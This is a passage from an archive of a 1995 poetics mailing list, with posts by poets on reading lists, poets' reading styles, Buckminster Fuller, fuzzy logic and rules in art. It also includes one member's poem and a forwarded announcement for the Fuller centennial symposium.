senses of identity politics), is that AG poets, by ignoring or breaking "trad" rules, take on the responsibility for any/all elements in the work of art, rather than simply having them "drag on as empty habit." In that sense, Kerouac, say, is a totally rule driven poet (wild form is a Formalism, no?). Whereas more trad poets seem to incorporate vast amounts of stuff into their work without much reason for it being there, so that it tends to sit like old lumpy oatmeal. There's been a discussion of metrics on the CAP-L list for the past month full of anxiety over "correct" interpretations, whether a spondee can be a spondee, whether variation is just that or is a sign of incompetence, etc.

So when I hear of a reading such as Charles Alexander described or read a text such as ShaunAnne's, it thrills me to realise that there are people out there who take total responsibility for their rules.

Ron Silliman

[redacted]

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373. **Ron Silliman**

Re: Reading lists

Sat 24 Jun 1995

> *2. Manuscript Found in Saragossa (Jan Potocki) This was mentioned in Perec's bk (A Void) & just came out in an English translation. Hallucinatory & dense--imagine a new Decameron co-written by Goya & Hoffman, wardrobe by Edith Head, sets by Lautremont...*

In the 1960s, there was a wonderful Polish film mostly (but not entirely, as I recall) in black & white of this same novel, with a great hauting score by Penderecki. Very Borges'ian, a narrative within a narrative within a narrative within.... It used to play at the Central Cedar Cinema off Polk Street (right next to a fire house and the only theatre I've ever been to that was actually in an alley, almost impossible to find if you didn't know it was there) and was a very cult thing. I must have seen it ten times, but it seems (like virtually all European cinema) to have disappeared from American screens. Batman Forever was on 20% of all theater screens in the US last week. Sigh.

Ron

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374. Ron Silliman
Re: breath rules
Sat 24 Jun 1995

Never heard Olson live (was in the same room with him only once in my life and that, the Berkeley Poetry Fest of '65, before I knew who he was), but my sense of the recordings I've heard and/or own is that he tended to speed up his reading of any text from slow almost overblown beginning to rapid end. Only a few texts actually follow that format on the page (long lines to open, short to close).

Zukofsky (again from recordings) seems to have paused every SECOND line.

And then there was the period around 1970 when Duncan paused three beats between each line, marking them with his hand and for awhile even counting them outloud (I remember a series of readings of all of Passages done over 3 consecutive Fridays when he did that throughout--totally distracting).

Ron

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375. Pierre Joris
Re: bucky fuller
Sat 24 Jun 1995

No Ron, you're not. Thought the same thing when I first laid eyes on Artifice of Absorption. & I have always loved Bucky's description for his kind of formatting: he called it "ventilated prose."

& yes, Bucky was in the navy, circa WWI, in 1918 for sure, until 1922 when he did "US Naval Reserve Activities." BY 1923 water wasn't enough so he took to the air, what he called "Early Flying Actvities." There's a piece of his called _Early Influences_ in which he talks in some detail about his experiences in the Navy.

Pierre

> *Am I the only person who sees Charles Bernstein's formatting of the Artifice of Absorption into lines as a totally Fullerian exercise (intended--and successfully--to make the piece the absorbing gesture it so breathtakingly is)?*
>
> *Fuller was a longtime Navy member, was he not?*
>
> *Ron Silliman*
> [redacted]

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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376. **Burt Kimmelman**

Re: bucky fuller

Sat 24 Jun 1995

---

i'd love to know more either via back channel or publicly how Artifice of Absorption is Fullerian, if you can take the time.

burt kimmelman
[redacted]

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377. **Ray Davis**

Re: The Rich Little School of Poetics

Sat 24 Jun 1995

> *Zukofsky (again from recordings) seems to have paused every SECOND line.*

Imagining an extremely precise and tidy Groucho Marx will help one recreate Zukofsky's rhythms while reading his poetry.

Similarly, Margaret Dumont will give you a very close approximation of Gertrude Stein.

(Steven Wright, of course, works for a lot of LangPo.)

Ray

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378. **Chris Stroffolino**

Re: bedside reading list

Sat 24 Jun 1995

I "forget to mention" (or "censored") that I'm also reading a lot of student papers in this summer class i'm teaching. A "reading literature" course that is weighted towards poetry and the reading of "non-poetic"

texts "poetically"--I organized the course loosely around the theme of "NOTHING" and have not used official anthologies so i could include Stevens ("Adagia"), Mayer (Sonnets and "the obfuscated poem") O'Hara, Cage, Stein, Riding, Kafka, Beckett, Ellison, Baraka, Ferlinghetti, Dickinson, Shakespeare, Dudley Randall, Blake in one class (also Brecht and Rilke)---I've selfishly swept up my students in my summer reading--but I "commit" to the list and so it's no more "free" in a way than had i gone with a "conventional" commercial anthology---thank "god" for copy shops that 'pirate" things--- Chris S.

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379. Ryan Knighton
Re: Bedside reading
Sat 24 Jun 1995

Not much at the moment:
Two by George Stanley: "You" and "Opening Day". He said to me last night that "Tacoma" was one of the worst hangovers.

bill bissett's "Animal Uproar", iwth a wonderful Kerouac tribute in it.

Al Purdy's "The Woman on the Shore". You have to be in the mood.

Joyce, "Ulysses". It has to be done.

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380. Loss Glazier
Related Lists
Sun 25 Jun 1995

I'm trying to add a list of related lists to the EPC so I thought I'd throw out for suggestions what you might see as lists related to these interests.

Please let me know what you'd add to this list! (Also, if you have current addresses, that would help. Another thing, the archive address for ht_lit does not seem to work for me?)

RELATED DISCUSSION LISTS

AVANT-GARDE

[redacted]
(is this one of those listproc and not a listserv?)

CAP-L

HT_LIT

ht_lit--the hypertext and literary theory mailing list.

This mailing list was created in February 1995 to provide a forum for discussion of hypertext fiction, hypertext and literary studies, and hypertext theory.

[redacted]

with the following body in the message:

subscribe ht_lit [<address>]

this will subscribe yourself (or <address> if specified) to ht_lit.

The posting address is
[redacted]

Postings to the list will be archived on the web at
http://chat.carleton.ca/~kmennie/ht_lit.html

The list owner is [redacted]

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381. cris cheek
Re: Message for cris cheek...
Sun 25 Jun 1995

> *cris, hi:*
>
> *can you back-channel me yr e mail address. sorry, i had it but have misplaced the file*
>
> *take care,*
> *carl*
>
> [redacted]

Either we're using very different systems or you'll find it in the header of this message.
If not it [redacted]

love
cris

↑ Index

382. Chris Scheil
Just another poem
Sun 25 Jun 1995

I guess I've lurked long enough, enjoying everyone's efforts. Time to throw something out & hope for the best...

Klatch of Mandingos, consumptives gone
trolling the swamps for cast-off

injection dies sees this & counts
coup on that pious oracular

gang of tunneler kids I'll portray
with an oval of semtex affixed

to my head, an elegant toque for this
bayou of implicate photon decay,

this digitized couplet of glass
in the form of a surgical saw.

You see? The cognitive mist is
only a symbol: fissile, hermetic, as lambent

a synod of gnats as you're ever to find
in a cloud chamber bowl, glad-handed

then shunted then groused like a cup
of strontium milk, like a methadone

dose in a tumbler of pus.
Now even the tutors agree:

a deistic fist up the ass of
the cynic Lovejoy ain't near

impasse enough to preserve this
corpse from ballastic decay,

from assuming the form of an aerial
putsch, cap-a-pied & entangled again

in that cloud-like helix
of vernacular birds exploding

through the cockpit door,
their hideous scything librettos

deployed like a slew
of God's own cochlear tongs.

You'd just as soon say what next
then to see this end (as it must)

in arthritic paroxysyms of guillotine
japes: Chop, Chop! The author must fall!

Or do (as he will) one last opium trick,
diving over the wall in a thrilling

escape, though covered with audience
mucus & blood to demonstrate his

nostalgic devotion to porn--
"its perrenial nature, its ironic gaze,

akin as it is
to cinema-verite..."

---------- Chris Scheil > Our life is endless in the way that our visual field [redacted] < is without limit. --Wittgenstein snail mail: > 317 Prospect #4 < Let me say this. Neak Luong is a blur. It is Grand Rapids, MI 49503 > Tuesday in the hardwood Forest. I am a visitor _____ < here, with a notebook --Michael Palmer _____

↑ Index

383. **Jim Pangborn**
Re: Fuzzy Logic Poetics
Mon 26 Jun 1995

Burt Kimmelman's first question,
>is fuzzy logic imprecise[?],
has been pretty well answered: it's precise but dangerously
arbitrary, guessing at quantifications in order to calculate
unknown probabilities. Science needs this tool
because it can't do what art can: handle many concerns
at once.

Burt further asks
>is logic teleological by nature?
(perhaps asked rhetorically) since Loss's complaint assumes
that "logic" necessarily means goal-directed reasoning.

Such is logic's usual application, but it consists merely
of ways to transform and manipulate statements
keeping strict track of their resultant
truth values. You could do that all day and still get
nowhere.

In pursuit of a "Fuller" understanding, I'd like to add
that the Buckyism about "in" and "out" instead of "up" and "down"
forms part of a more complex observation:

> No scientist would suggest that any part of the Universe
> Is identifiable as "up"
> Nor any other locale as "down."
> Yet individual scientists themselves
> As yet reflex spontaneously
> In an "up" and "down," conditioned-reflex miasma.
> Their senses say reflexively,
> "I see the sun is going down,"
> Despite that scientists
> And almost everyone else have known theoretically
> For five hundered years that the Sun is not going down at dusk
> And rising at dawn.
> What is more important in this connection
> Is the way in which humans reflex spontaneously
> For that is the way in which
> They usually behave in critical moments,
> And it is often "common sense" to reflex
> In perversely ignorant ways
> That produce social disasters
> By denying knowledge
> And ignorantly yielding to common sense.
>
> --R. Buckminster Fuller, _Intuition_ (New York: Doubleday 1972), 103.

You have to clear your mind of *cant*, in other words--but you also have to
realize that you finally *can't*, and deal with that. A commonplace? Maybe.
But it bears repeating, since we continuously forget. That's one reason there's
art.

--Jim

↑ Index

384. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Mon 26 Jun 1995

---

i'm trying to recall the name of an icelandic poetic form where the first half of the line makes an assertion and the second half echoes it in different words. would this be a kind of fuzzy logic procedure, and indeed one that calls back to itself and perhaps in essence such a poem proceeds with no end in mind.

anyone have any "fuzzy logic" poems?

what is the difference betw chaos and complexity (and how does fuzziness work into this relationship?

bk

↑ Index

385. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Mon 26 Jun 1995

Jim,

Is your explanation about why science needs the fuzzy logic tool and art doesn't in line with Carnap?

Burt

↑ Index

386. **I.LIGHTMAN**
Re: Fuzzy Logic Poetics
Mon 26 Jun 1995

Jim,

As the one who put out the remark about Bucky's use of up, down, in, out, and, indeed, shake it all about, I just wanted to say: thanks for the lovely quotation, illuminating what i was referring to; and sorry if I presented an ignorant write-up of Bucky, because what you posted was what I thought I'd said,

Thanks,

Ira

↑ Index

387. **I.LIGHTMAN**
Re: Bedside reading
Mon 26 Jun 1995

Just thought I'd chip in, stirred by KK's wonderful list:

I don't tend to have books on the go, tend to skim them or read a few pages very intently; recent books thus treated have been - the opening page of Derrida's Signeponge, the autobiographical sections of Derrida's Memoirs of the Blind, bits mostly from the Blue Book in Steve Benson's _Blue Book_ book; Chaucer's The Parlement of Foules, because it looks like Britain's ruling Conservative party is about to elect a new leader and Prime Minister (Chaucer *pretends*, it seems to me, to have a limited view of love as monogamous marriage but offers a fable that is more complex and leaks yearning for a wider love, platonic and/or non-monogamous, also a sense of government that all potential leaders should subdue themselves to, although this, and this is the flaw in all the leaks, doesn't escape positioning women as passive and men as active); have also been reading through all Leave books' latest pamphlets, especially Sianne Ngai's amazing My Novel, and Kevin Killian's Santa. Oh, I have been dipping in and out of the memoirs of the physicist Richard Feynmann's _Surely You're Joking Mr Feynmann?_, which are lucid, chatty words of a extraordinary curious boy in love with practical science, about which subject he would never dream of being as patronising as he is in his book about his three wives; Feynmann is such a relief from the superstring and chaos theory and Stephen Hawking books that so many of the musicians I know seem to be reading, because it's about computation and physical experiment, constructing equipment and making things, not thinking about time or light. Feynmann is the most enjoyable science book I've read since reading Bucky, or Hugh Kenner on Bucky, the next best thing. Also, spent a long morning reading Leo Bersani's infuriating essay "Is the Rectum a Grave?" in _AIDS, Cultural Analysis, Cultural Activism_ ed Douglas Crimp (infuriating because I share some of the critiques and hate others, especially his oh-so-Freudian attack on child abuse campaigners as being anti-sex; read in "anti-rape" for "child abuse" and see how it reads). Also, am in love with Richard A. Bernstein's essay in _Working Through Derrida_, ed Gary B.Madison, in which Bernstein judiciously and warmly anaylses *both* Derrida *and* Habermas fairly, trying to work on the join of modernity and postmodernity in very lucid readable prose.

I do tend to have television serials on the go; am currently watching all the Jon Pertwee _Dr Who_ series from 1970-74, the latest _Deep Space Nine_ episodes, the lesser known British sci-fi shows, _Sapphire and Steel_ and _The Hitchhikers Guide to the Galaxy_; also the loveable cartoon character Jay Sherman on _The Critic_; my opinion about all of them is we don't make shows

like that any more, that passion and high seriousness, complexity of characterisation, and taking the work seriously.

That's my list,

Ira

↑ Index

388. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Mon 26 Jun 1995

Jim,

Re.: your "that's one reason there's art": do you mean that the imaginative procedures of, say, cosmologists are different from those of poets?

Burt

↑ Index

389. **David Kellogg**
Bedside Reading
Mon 26 Jun 1995

Dear PoPeople,

I'm new to this list, and I'm intrigued by the bedside reading idea. Although I'd have to disagree with one previous writer (whose message I unfortunately deleted) about lists from people we respect. Information about (or from) people I don't respect is as interesting, and revealing, to me as any other. (Revealing as much about me as anybody else). That said, respect me or no, here's some stuff I've been reading/thumbing through:

1. Rosemarie Waldrop, A KEY INTO THE LANGUAGE OF AMERICA, along with an edition of Roger Williams book of same name (her major "source") I got out of the local Divinity School library.

2. Denis Devlin, COLLECTED POEMS

3. R.C. Lewontin, BIOLOGY AS IDEOLOGY

4. Humberto Maturana & Francesco Varela, THE TREE OF KNOWLEDGE

5. Magazines: NEW YORK REVIEW OF BOOKS, T.V. GUIDE

6. Palmer, AT PASSAGES

7. Thomas Kinsella, FROM CENTRE CITY, BLOOD AND FAMILY, and AN DUANIARE: POEMS OF THE DISPOSSESSED, 1600-1900, (the last translations from Irish).

8. A history of a local research park I'm proofreading.
9. Henri Lefebvre, THE PRODUCTION OF SPACE

somehow this list seems "tame"

Cheers,
David
~~~
~~~

392. **Tom Mandel**
Re: breath rules
Mon 26 Jun 1995

Re: marking the beat with one's hand, a Duncan affect to be sure: I remember when I first arrived in SF (earlyisyh 70's) and started going to poetry readings, and encountered this annoying "sensitive bandmasterism" - I think it took me a year or more to figure out that it identified a Duncan acolyte. An awful lot of leaden music got underlined in that manner, and I'm gonna bet that Bayareans (at least of similar or longer vintage than mine) will be able to reel off who these, then, youngish poets were/are.

Tom Mandel

↑ Index

393. **braman sandra**
Bucky
Mon 26 Jun 1995

I'd been trying to decide whether or not to confess to the list that I knew I was ready for graduate school when, in the early 1980s, I was spending my nights sitting up writing a Buckminster Fuller dictionary. Then this came along -- Sandra Braman

> *Subject: BUCKMINSTER FULLER'S CENTENNIAL SYMPOSIUM AND CELEBRATION*
>
> *For further Information:*
>
> *Peter Meisen, Nanci Hartland, Patricia Stevens*
> *GENI (Global Energy Network International)*
> *425 West "B" Street, Suite B-11*
> *San Diego, CA 92138 USA*
> *(GENI is a non-profit 501(c)(3) corporation)*
> *Tel:* [redacted]
> *Fax:* [redacted]
> *E-mail: Internet:* [redacted]
> *or America Online:* [redacted]
> *or Compuserve:* [redacted]
> *WWW Home Page: http://www.geni.org/*
>
> *Buckminster Fuller's Centennial*
> *Symposium and Celebration*
> *"Rediscovering the GENIus in us all"*

July 14-16, 1995
San Diego, California

DESCRIPTION

A three day event to celebrate the 100th Birthday of R. Buckminster Fuller, the "Leonardo Da Vinci of our time." Events to include: Opening Ceremony and Reception, several World Game presentations, Benefit Concert, Film Festival, Bucky for Kids children's festival, Exhibits, Seminars and Panel Discussions.

"For the first time in the history of humanity, it is evident that there is enough of the fundamental metabolic and mechanical energy sustenance for everybody to survive at high living standards"
-- Buckminster Fuller

BACKGROUND

R. Buckminster Fuller, Jr. was born in Milton, Massachusetts, on July 12, 1895. He is best known for inventing the Geodesic dome, the most famous example of which was the United States Pavilion at the Montreal World's Fair, Expo '67. Throughout his lifetime, Fuller introduced ground-breaking ideas in the fields of architecture, design, art, engineering, education, cartography and mathematics. Fuller called himself a "Comprehensive Anticipatory Design Scientist" -- and committed his life to finding the global strategies to make humankind "a success in the universe."

Fuller believed that human evolution could best be promoted by reforming the living environment through design on all levels rather than by reforming people through economics and/or politics. His Design Science also addressed energy harvesting, transporting and food gathering, all informed by his concept of dymaxion = dynamic + maximum + tension. (i.e. ever-increasing performance using ever less investment of materials.)

By 1983, at the end of his eighty-seven years, Fuller had written more than twenty books, held twenty-seven patents for his inventions and had received forty-seven honorary doctorate degrees and numerous awards, including the United States Medal of Freedom and the American Institute of Architects' prestigious Gold Medal Award.

Participants will discover, experience and participate in:

** World Game -- Play on the world's largest and most accurate map -- the Dymaxion Map scaled to 70' by 35'. Stride a gymnasium-size map with fellow global citizens, developing strategies and working together to solve the world's problems.*

** Film Festival -- Attend screenings of Buckminster Fuller films -- hear Bucky speak and relive his life's work so you can use his teachings in your own life*

** "Bucky for Kids" Children's Festival -- Build Tensegrity Structures (nature's own building blocks) and Dymaxion Domes -- Learn the basics of "Synergetics" and Buckyballs. Introduce tomorrow's leaders to the ideas that are shaping their future.*

** Bookstore -- View Bucky's artifacts, exhibits and books -- the gifts Bucky left for all of us.*

** Benefit Concert -- Musical greats who share Bucky's vision for the world.*

** Expert seminars and panels -- Hear personal stories and lifelong lessons from people who carry on Bucky's work today.*

This event will engage you in the question that Bucky lived by: "If the success or failure of this planet, and of human beings
depended on how I am and what I do;
How would I be? What would I do?"

Core Components of the Symposium - Celebration:

OPENING PANEL, BIRTHDAY CELEBRATION & CELEBRITY RECEPTION

Friday evening July 14 Venue: UCSD Mandeville Auditorium

Honorary Chair: Walter Hickel, former Governor of Alaska

Format: Presentation on stage to theater audience. Several VIP guests discuss and recall Bucky's influence on their personal lives, in the world and his relevance today and into the future.

** Entertainment to include:*

- Brief video excerpts of Bucky and his ideas shown throughout the evening

- Music videos: "What One Man Can Do" (John Denver)
"Fool on the Hill" (Beatles)
- Theater/Dance: Rick Perkins, dramatic presentation of Bucky
"World Game" dance piece with Dymaxion Map
- Readings: co-authors Peter Wagschal, Anwar Dil

** Allegra Snyder (Bucky's daughter) and Jaime (Bucky's grandson) have a special tribute -- this would include personal stories from family and close friends. On film, Bucky to sing "Home, Home on a Dome" -- and everyone then sings Happy Birthday. A toast is delivered, thanking Bucky for his vision and integrity.*

** A Dymaxion Birthday Cake is presented and pieces cut for all*

Discussant/Presenters:

** Allegra Snyder, daughter of Buckminster Fuller*
** Amy Edmondson, author "A Fuller Explanation" (on Synergetics)*
** Kiyoshi Kuromiya, adjuvant on "Critical Path" and "Cosmography"*
** Harold Kroto, co-founder, Buckminsterfullerene*
** Peter Meisen, President, Global Energy Network International*
** Eugene Ray, Chairman Environmental Design Department, SDSU*
** Don Richter, Temcor (retired) built 5000 domes around the world*
** Peter Wagschal, VP, National University, editor with Bucky, "On Education"*
** Anwar Dil, USIU, co-author with Bucky, "Humans in Universe"*

Production Team:

** Ashley Gardner, The Ashley Gardner Group, Audio/Video Production*

** Doug Jacobs, Artistic Director of San Diego Repertory Theater*
** Joel Heathcote, Lighting Artist and Designer*
** William Martin, WisdomKeepers Productions*

The WORLD GAMES

Thursday July 13 (Children and Students) (this is a special pre-centennial event)

Venue: UCSD Mandeville Auditorium

Saturday July 15 (Adult and Student) Venue: SDSU Peterson Gym
Sunday July 16 (Invitational -VIP) Venue: SDSU Peterson Gym
Sponsor:
SDSU Environmental Design Dept.

The World Game is a multi-media event. The participants become the world's leaders, regional citizens, news reporters, business moguls and representatives of international organizations such as the World Bank and United Nations. Armed with the latest data, equipped with food, natural resources, money, energy, technology and military expenditures as they are distributed in the world today, players stand on the most accurate map of the world, the Bucky Dymaxion Map scaled out to 70' x 35' (the size of a basketball court).

Left to negotiate with neighboring and far away nations to find global solutions for local problems, participants are quickly engaged in a fast-moving interactive simulation where global problems are identified, addressed and solved, leaving participants with a new understanding of world issues. Since they began with Buckminster Fuller over twenty years ago the World Game Institute has continued to hold this game in more than 30 countries around the world.

"BUCKY FOR KIDS" -- a Children's Festival and Bookstore/Exhibit

Saturday and Sunday July 15 - 16 Venue and Sponsor: San Diego Natural History Museum

Two Components:

1. An Exhibit of Buckminster Fuller's Artifacts and Bookstore outside the San Diego Natural History Museum:

* *Models, Artifacts from the Buckminster Fuller Institute*
* *Dome and structural modellers to bring their artifacts*
* *Fuller's books, Dymaxion Maps, etc. sold in bookstore*
* *Display of Windstar environmental technologies*
* *Computer Animation of the Global Energy Grid*

2. A Children's festival surrounding the big tree outside the Museum to include:

** Building dymaxion models and geodesic domes*
** Making dymaxion map puzzles and playing games with their maps*
** Soccer balls used to teach about Buckminsterfullerenes (Buckyballs)*
** Children's mural*
** Balloon makers creating tensegrity structures for children's hats, etc.*
** Face painting with dymaxion designs*

SPECIAL GUEST SEMINARS

Saturday and Sunday, July 15 - 16 Venue and Sponsor: National University

** Amy Edmondson on "Synergetics: Nature's Mathematics and Structure". Amy is author of A Fuller Explanation, a layman's understanding of Bucky's math -- simple enough for a child, important enough for every scientist. Nature's geometry is the basis for the mathematics that explains the universal building systems -- from the atomic to the galactic scale.*

** Kiyoshi Kuromiya (adjuvant to Fuller on two books) and Graeme Edwards "Critical Path discussion group. Fuller's culmination of his life's thinking, "humanity does have the option to survive if we choose a comprehensive anticipatory design science revolution."*

** Don Richter, Michael Jantzen, Eugene Ray, Peter Pearce, Jay Baldwin (all leading edge designers) from the architectural community on "Architecture, Space and Environmental Design". The geodesic dome is the world's most lightweight, strong and portable structure ever designed. These architects/designers begin with the philosophy, "reform the environment and not the man", and take Bucky's ideas of structure into housing and regional planing for the next century.*

** Harold Kroto, University of Sussex, co-founder of the Buckminsterfullerenes i.e. "Buckyballs" -- the molecular breakthrough of the decade. Fuller predicted the discovery of the Carbon 60 molecule, since nature would clearly have this structure in its repertoire. Buckyballs have tremendous potential in the fields of lubricants and superconductors.*

** Peter Meisen on the "Global Electric Energy Grid" -- Bucky's number one priority for the planet from the World*

Game. GENI conducts education and research into the international and inter-regional transmission of electricity, with a specific emphasis on the interconnection of renewable energy resources to improve the quality of life for everyone.

** Wayne Morgan and Blair Singer on "Generalized Principles of Universe Applied to Business". Precession, leverage, synergy and duality will be presented and experienced. "Since energy plus knowledge are always increasing, human's wealth is forever expanding."*

** Barbara Marx Hubbard on the "Spiritual, Social, and Scientific Fulfilment of Buckminster Fuller's Vision through Conscious Evolution". Bucky's vision blends scientific progress, ephemeralization (doing more with less), and spiritual interconnectedness with humanity's opportunity "to make the world work for everyone."*

** Video excerpts from "The Future of Business", and discussion with Randy Craft (Dr. Fuller called this video library "the most concise recapitulation of my entire life's activities ever delivered before humans to date.")*

Each of the above workshop/presentations are half and full day sessions. Given the anticipated interest, some sessions will be repeated a second time.

FILM FESTIVAL

Saturday and Sunday July 15 - 16 Venue and Sponsor: Reuben H Fleet Space Theater

Honorary Chair: Tony Huston, film maker

Continuous screenings of:

** "Buckminster Fuller and Spaceship Earth," a 60 minute tour de force documentary on the thinking of Buckminster Fuller, produced by award winning film-maker Robert Snyder*

** "Ecological Design - Inventing the Future," 18 designer/architects including Dr. Fuller present ideas, prototypes and models of appropriate technology and ecological design. Produced by Chris Zelov and Brian Danitz*

DYMAXION CAR

Saturday and Sunday, July 15 - 16 Venue: San Diego Automotive Museum

In 1933, Buckminster Fuller designed and built three Dymaxion Cars. They were energy efficient, lightweight, aerodynamic and recyclable. Compared to the Model Ts of the day, this automobile design was decades ahead of its time. Built by the 4D Company in Bridgeport, CT, this is the only Dymaxion car in existence today and is normally shown at the National Auto Museum in Reno, NV.

We are fortunate to have this one-of-a-kind vehicle -- as one artifact that illustrates Buckminster Fuller's comprehensive anticipatory design science thinking.

BENEFIT CONCERT

Saturday Evening July 15 Venue: Humphrey's by the Bay

Several major artists had a close affinity with Buckminster Fuller and wrote songs about him and his work:

* *Invitations have been sent to several major artists to perform in honor of Bucky's Centennial Celebration*

* *Celebrity artists invited to play the World Game*

* *Large Dymaxion Map as stage backdrop. Screens on stage view Bucky photos*

* *All concert coordination, promotion, ticketing handled by local promoter*

* *Potential to tape for future national broadcast*

EVENT SYMPOSIUM/CELEBRATION PARTICIPANT COST

* *Registration of $150 for a three day event includes: Opening Celebration, World Game, Benefit Concert, Film Festival, Children's Festival, Guest Seminars*

* *Students pay half price*

* *Events will also be listed and priced separately*

** All registrants to pay for own travel and lodging*

Possible Additional Components being considered:

** Uplink or simulcast various parts of the event for distribution through learning channels, cable and public broadcasting. This could raise additional funds. To be done with assistance of local stations. Possible broadcasters: KPBS, ITV and National University*

** Production and documentation of events (audio, video and written)*

** Andrew Long and Company perform their "Nine Chains" theater and dance*

EVENT PRODUCTION:
Executive Producer: Peter Meisen
Coordinating Producer: Nanci Hartland
Volunteer Coordinator: Patricia Stevens
Volunteer team: 60 to help with Marketing and Logistics
Fiscal Agency: GENI to handle all accounting and registration

MARKET RESEARCH:

Who's the market?
** all former students, those who saw Bucky speak or bought his books*
** membership of the sponsoring organizations*
** all related associations and organizations*
Why are they going to come?
** reconnect with the experience that Bucky created in their lives*
** learn more of his design science thinking*
** celebrate Bucky's genius and his vision for the world*
** commit to "what each individual can do"*
What's in it for them?
** meeting with like minded people from around the world*
** encounter cutting-edge thinkers, educators and leaders*
** expanding one's ability to do creative and innovative original thinking by studying the educational thought processes of Buckminster Fuller*
** learning the progress of Bucky's ideas becoming real in the world*
** "rediscover the genius in themselves"*
What's the cost?

** $150 -- an excellent value for a three day event (Students half
price)*
** participants to cover travel and lodging*
Who's the Program Committee?
** This is made up of members of the Sponsor group and Production Team*

CENTENNIAL EVENT SPONSORS

Auto Trader Magazines Critical Path Project
Diego and Son Printing Robert Driver Insurance Company
Global Energy Network International HPCwire
KNSD TV Channel 39 The Light Connection
National University Peace Resource Center of San Diego
Reuben H. Fleet Space Theater San Diego AIA (Architects)
San Diego Earth Times San Diego Natural History Museum
SDSU Environmental Design Dept Shapery Enterprises
Society for Computer Simulation SuperCamp/Learning Forum
Union Bank World Affairs Council

In cooperation with the Buckminster Fuller Institute

Global Energy Network International (GENI) is a tax exempt, IRS 501(c)(3) organization in the United States. We conduct education and research into the international and inter-regional transmission of electricity, with a specific emphasis on the interconnection of renewable energy resources to improve the quality of life for everyone.

In his book "Critical Path", Buckminster Fuller calls the interconnection of renewable energy resources the planet's "highest priority global objective."

GENI's work is founded on the principles of the World Game. GENI's mission is to accelerate the attainment of the optimal sustainable energy solutions in the shortest possible time for the peace, health and prosperity for all.

For further information on the Fuller Centennial Symposium and Celebration contact:

Peter Meisen
Nanci Hartland
Patricia Stevens
GENI (Global Energy Network International)
P O Box 81565

San Diego, CA 92138 USA
TEL: [redacted]
FAX: [redacted]

Email: Internet: [redacted]
or America Online: [redacted]
or Compuserve: [redacted]

WWW Home Page: http://www.geni.org/

GLOBAL ENERGY NETWORK INTERNATIONAL
Peter Meisen
P.O.Box 81565
San Diego, CA 92138

[redacted]
FAX: [redacted]

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=================================================================
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+-----------------------------------------------------------------+
|                    CRTNET is edited by:                         |
|                                                                 |
|  Tom Benson                     | INTERNET: [redacted]     |
|  Dept. of Speech Communication  | BITNET:   [redacted]     |
|  Penn State University          | FAX:      [redacted]     |
|  227 Sparks Building            | OFFICE:   [redacted]     |
|  University Park, PA 16802 USA  | HOME:     [redacted]     |
|                                 | DEPT:     [redacted]     |
|                                                                 |
+-----------------------------------------------------------------+
|                         BACK ISSUES                             |
| Back issues of CRTNET may be obtained from two sources.         |
| (1) [redacted] archives CRTNET; if you are able to use          |
| interactive messaging, try TELL [redacted] HELP to get          |
| started; for an index of CRTNET files, try TELL [redacted]      |
| INDex CRTNET. You may also send the same command in a note; send |
| the note to [redacted] with the command, by itself, as the      |
| content of the note.  Detailed directories of CRTNET contents   |
| 1985-1992 are available in CRTNET numbers 866-874; contents for |
| January 1993 - May 1995 are in numbers 1222-1226.               |
| (2) [redacted] (bitnet) will respond to interactive commands |
| or electronic mail; try asking for HELP.                        |
+-----------------------------------------------------------------+
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|                       SUBSCRIPTIONS                             |
| Subscriptions to CRTNET are free to all.  Send electronic mail  |
```

> *| requests to editor [redacted] or [redacted] (Bitnet); or you may |*
> *| be able to send an interactive message: TELL [redacted] SUB |*
> *| CRTNET <your> <name> |*
> +----------+
> +----------+
> *| CONTRIBUTIONS |*
> *| Readers are encouraged to contribute abstracts, articles, book |*
> *| reviews, announcements, comments, questions, and discussion to |*
> *| CRTNET. All topics relating to the general area of human |*
> *| communication are welcome. |*
> +----------+
> +----------+
>
> *** END OF CRTNET ***
> **************************

↑ Index

394. David Kellogg
Re: Bedside Reading
Mon 26 Jun 1995

Right, add to previous message, forgot book #10 (slipped between two notebooks in my bookbag, most central of the lot just now)

10) Descartes, DISCOURSE ON METHOD and MEDITATIONS

(central b/c I'm writing a poem which cuts-up the DISCOURSE)

Cheers,
David
~~~
~~~

> *I'm not certain about that quote, although Zukofsky did say that in poetry, emotion is a matter of cadence. I don't have at hand the exact phrasing.*

--nice. And come to think of it I think WW was talking about metre as what we need to control emotion--more similar.

--ShaunAnne

> *charles*
>
> *charles alexander*
> *chax press*
> *minnesota center for book arts*
> *phone & fax:* [redacted]
> *e-mail:* [redacted]

↑ Index

396. Ron Silliman
Re: Reading lists
Mon 26 Jun 1995

>What was the movie theatre on Powell just on the Chinatown
>side of Broadway - different double feature everyday, as I
>recollect (repeatedly)?
>
>Tom Mandel
>
That was the Times Theatre. Every doubleheader cost 99 cents and I spent a fortune at that place. When it was replaced by a Chinese produce market, I was amazed to see how small it was. (I used to see Francis Ford Coppola there back in the early 70s, all by himself in the back.)

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397. Tony Green
Re: Reading lists
Mon 26 Jun 1995

Dear Tom Mandel , re" rules " etc I can on the instant recall no clear conclusions, through normal forgetfulness, I hope.

To add to the confusion here is an after-note, by means of some fairly well-cooked English translation of Andre (acute) Felibien (acute on first e) secretary of the Academie (acute) Royale de Peinture et Sculpture etc etc of Louis XIV in the Preface to the Entretiens.

1. In practice he found out that "one meets a thousand difficulties in the execution of a work, that cannot be overcome by the learning imparted by all the precepts". (1725, ed. p,.25, Garland reprint)

2. "If there is a way of making the different parts of a painting appear advantageously, giving to each its proper strength, beauty and gracefulness, it is a means that does not consist in rules that can be taught, but it is discovered by the light of reason, and in this matter one must sometimes conduct oneself in opposition to the rules." (ibid.p.26).

(He is talking about the composition of the whole, worked out in advance of the "execution" of it...)

Thus the problem in the later 17th century formulation of a rationale for instruction of aspiring painters in how to compose history paintings (and elsewhere for composing epic). It implies, I suppose, a function for the resulting pictures: they are usually big, to be seen at a distance, and such that the moral shall be clearly seen, quickly and easily in all and any of the details, not least of which is an insistence on lucid rational structures of representation. Moreover, within the early academy every picture comes to be looked on as a staging of a coherent moment of time as in a drama. (as I recall, by the 3rd Earl of Shaftesbury in ?1713)

Best

↑ Index

398. **Steve Carll**
Re: Think the Reverse
